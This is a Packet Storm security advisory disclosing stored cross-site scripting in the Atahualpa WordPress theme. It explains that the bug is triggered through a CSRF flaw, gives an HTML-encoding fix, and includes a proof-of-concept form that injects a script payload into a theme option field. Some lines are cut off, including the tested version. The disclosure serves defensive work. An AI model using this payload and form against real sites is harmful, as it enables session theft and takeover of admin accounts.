exploit the possibilities

WordPress Atahualpa Theme Cross Site Scripting

WordPress Atahualpa Theme Cross Site Scripting
Posted Mar 3, 2017
Authored by Spyros Gasteratos

WordPress Atahualpa theme suffers from a cross site scripting vulnerability.

tags | exploit, xss
MD5 | 9da700c7fbb14213f4d6ed6224f7796d

WordPress Atahualpa Theme Cross Site Scripting

Change Mirror Download
Cross-Site Scripting in Atahualpa WordPress Theme
Spyros Gasteratos, July 2016

A number of Cross-Site Scripting vulnerabilities were found in the
Atahualpa WordPress Theme. This issue allows an attacker to perform a
wide variety of actions, such as stealing Administrators' session
tokens, or performing arbitrary actions on their behalf. In order to
exploit this issue, the attacker has to use the CSRF vulnerability
described in SFY20160759 to trick the admin into storing malicious


Tested versions
This issue was successfully tested on Atahualpa WordPress Theme
WordPress Theme.

There is currently no fix available.


Providing any of the following fields with string such as: "><script>alert(1);</script> results in the script element getting appended after the respective input element when the request returns from the server:

"widget_lists link-hover-color",

The solution to this issue is to encode as html all the user-provided parameters before they are returned to the browser.
Proof of concept

In order to reproduce the issue the following request can be replayed using the cookies of the current admin.

<form action="https://play.sfy.nl/wp-admin/themes.php?page=atahualpa-options" method="POST">
<input type="hidden" name="widget_container" value="margin: 0 0 15px 0;"/>
<input type="hidden" name="widget_title_box" value=""/>
<input type="hidden" name="widget_title" value="font-size: 1.6em; font-weight: bold;"/>
<input type="hidden" name="widget_content" value=""/>
<input type="hidden" name="widget_lists[li-margin-left]" value="0"/>
<input type="hidden" name="widget_lists[link-border-left-width]" value="7"/>
<input type="hidden" name="widget_lists[link-border-left-color]" value="CCCCCC"/>
<input type="hidden" name="widget_lists[link-border-left-hover-color]" value="000000"/>
<input type="hidden" name="widget_lists[link-padding-left]" value="5"/>
<input type="hidden" name="widget_lists[link-weight]" value="normal"/>
<input type="hidden" name="widget_lists[link-color]" value="666666"/>
<input type="hidden" name="widget_lists[link-hover-color]" value="000000"/>
<input type="hidden" name="widget_lists2[li-margin-left]" value="5"/>
<input type="hidden" name="widget_lists2[link-border-left-width]" value="7"/>
<input type="hidden" name="widget_lists2[link-border-left-color]" value="CCCCCC"/>
<input type="hidden" name="widget_lists2[link-border-left-hover-color]" value="000000"/>
<input type="hidden" name="widget_lists2[link-padding-left]" value="5"/>
<input type="hidden" name="widget_lists2[link-weight]" value="normal"/>
<input type="hidden" name="widget_lists2[link-color]" value="666666"/>
<input type="hidden" name="widget_lists2[link-hover-color]" value="000000"/>
<input type="hidden" name="widget_lists3[li-margin-left]" value="5"/>
<input type="hidden" name="widget_lists3[link-border-left-width]" value="7"/>
<input type="hidden" name="widget_lists3[link-border-left-color]" value="CCCCCCw66ar"><script>alert(1)</script>ljgl1"/>
<input type="hidden" name="widget_lists3[link-border-left-hover-color]" value="000000"/>
<input type="hidden" name="widget_lists3[link-padding-left]" value="5"/>
<input type="hidden" name="widget_lists3[link-weight]" value="normal"/>
<input type="hidden" name="widget_lists3[link-color]" value="666666"/>
<input type="hidden" name="widget_lists3[link-hover-color]" value="000000"/>
<input type="hidden" name="category_widget_display_type" value="inline"/>
<input type="hidden" name="select_font_size" value="Default"/>
<input type="hidden" name="save" value=""/>
<input type="hidden" name="action" value="save"/>
<input type="hidden" name="category" value="widgets"/>
<input type="submit"/>

Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its
goal is to contribute to the security of popular, widely used OSS
projects in a fun and educational way.
Login or Register to add favorites

File Archive:

July 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    15 Files
  • 2
    Jul 2nd
    19 Files
  • 3
    Jul 3rd
    12 Files
  • 4
    Jul 4th
    1 Files
  • 5
    Jul 5th
    2 Files
  • 6
    Jul 6th
    25 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    0 Files
  • 9
    Jul 9th
    0 Files
  • 10
    Jul 10th
    0 Files
  • 11
    Jul 11th
    0 Files
  • 12
    Jul 12th
    0 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    0 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags


packet storm

© 2020 Packet Storm. All rights reserved.

Security Services
Hosting By